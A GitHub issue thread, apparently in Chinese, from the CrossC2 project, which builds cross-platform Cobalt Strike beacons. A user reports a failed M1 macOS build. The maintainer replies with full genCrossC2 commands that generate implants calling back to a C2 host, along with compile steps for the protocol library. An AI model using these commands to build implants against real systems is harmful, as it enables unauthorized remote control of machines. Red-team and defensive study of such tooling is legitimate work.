gloxec / CrossC2

generate CobaltStrike's cross-platform payload
2.26k stars 344 forks source link

MacOS M1测试失败 #217

Closed LEOGGMAGIC closed 5 months ago

LEOGGMAGIC commented 5 months ago

本机环境 os:Monterey 12.7.4 cpu:M1pro crossC2:3.1-3.3 cs version:4.8 genCrossC2.MacOS和genCrossC2.Linux分别在mac本机和linux-x64进行测试 使用编译命令

./genCrossC2.MacOS xxx.com 443 .cobaltstrike.beacon_keys ./xxx.so MacOS M1 ./test_m1 raw

发现如下报错,使用profile自动生成也有如下报错

[error]: [parse lib]: dlopen(/tmp/.sys.rrcache.data, 0x0001): tried: '/tmp/.sys.rrcache.data' (not a mach-o file), '/private/tmp/.sys.rrcache.data' (not a mach-o file)!
[error]: [parse lib]: dlopen(./.sys.rrcache.data, 0x0001): tried: './.sys.rrcache.data' (not a mach-o file), '/Users/xxx/Desktop/.sys.rrcache.data' (not a mach-o file)!
[error]: [parse symbol]: dlsym(0x0, cc2_rebind_http_post_recv): invalid handle

在linux上.so编译命令

gcc xxx.c -fPIC -shared -o xxx.so

PS:在linux上使用.so生成linux马可以正常上线,命令为

./genCrossC2.Linux xxx.com 443 .cobaltstrike.beacon_keys ./xxx.so Linux x64 ./test_linux_x64
gloxec commented 5 months ago

xxx.so文件编译的问题 在mac上运行时,需要同样在mac上进行编译clang xxx.c -fPIC -shared -o xxx.dylib

如果不是自定义协议库中包含了特殊请求或操作,推荐直接使用c2profile的自动解析功能,避免引入动态库 genCrossC2 127.0.0.1 4444 cs_key ';;c2profile.profile' Linux x64 ./beacon